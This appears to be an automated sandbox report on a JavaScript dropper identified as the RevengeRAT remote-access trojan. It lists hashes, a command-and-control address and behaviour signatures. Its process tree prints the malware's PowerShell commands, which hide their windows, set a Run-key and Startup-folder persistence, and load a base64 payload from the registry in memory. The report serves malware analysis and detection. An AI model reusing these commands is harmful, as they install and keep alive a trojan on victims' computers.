Analysis

  • max time kernel
    120s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    15-10-2024 15:21

General

  • Target

    1Documentos de reserva.js

  • Size

    60KB

  • MD5

    14e68a45361bb287393747ce2b271838

  • SHA1

    16144ac8dc7ecc27e4667a3241da8810f8b84778

  • SHA256

    213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

  • SHA512

    1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

  • SSDEEP

    768:tvRmozOfNAG9lUAy1NgRXbkDvAAdkqC9m3ppOJlPcLNdpgF3hFAto:94oifpTq1NxAAiqC9mZpk8NdpW3hF2o

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

54.146.241.16:5222

Mutex

f9796de67e

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\1Documentos de reserva.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\1Documentos de reserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\1Documentos de reserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" "C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js' -PropertyType String -Force;"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2768
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\1Documentos de reserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js'))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2908
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2776

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js

    Filesize

    60KB

    MD5

    14e68a45361bb287393747ce2b271838

    SHA1

    16144ac8dc7ecc27e4667a3241da8810f8b84778

    SHA256

    213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

    SHA512

    1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    d74bfe2cf9957037f3c18ef59b7ba7df

    SHA1

    b3526122fbcaf4c81694c775baa56ed790dd571e

    SHA256

    f5cc0c1c1adaa2ca7dce3cd70f565afb51ec621304acb6d7c968fe01878442c1

    SHA512

    a663af81df1498816d8f5ab50a3ade6c95f06508e04e0d031c0bfd288266e7ad9ee369bdbe4f62607e2b27fe48d2a1e31884ca410aefed1d46cae5aa05eb8ab6

  • memory/2164-6-0x0000000001D80000-0x0000000001D88000-memory.dmp

    Filesize

    32KB

  • memory/2164-4-0x000007FEF579E000-0x000007FEF579F000-memory.dmp

    Filesize

    4KB

  • memory/2164-8-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

    Filesize

    9.6MB

  • memory/2164-9-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

    Filesize

    9.6MB

  • memory/2164-10-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

    Filesize

    9.6MB

  • memory/2164-11-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

    Filesize

    9.6MB

  • memory/2164-7-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

    Filesize

    9.6MB

  • memory/2164-5-0x000000001B830000-0x000000001BB12000-memory.dmp

    Filesize

    2.9MB

  • memory/2164-31-0x000007FEF579E000-0x000007FEF579F000-memory.dmp

    Filesize

    4KB

  • memory/2164-32-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

    Filesize

    9.6MB

  • memory/2776-30-0x0000000002A70000-0x0000000002A7A000-memory.dmp

    Filesize

    40KB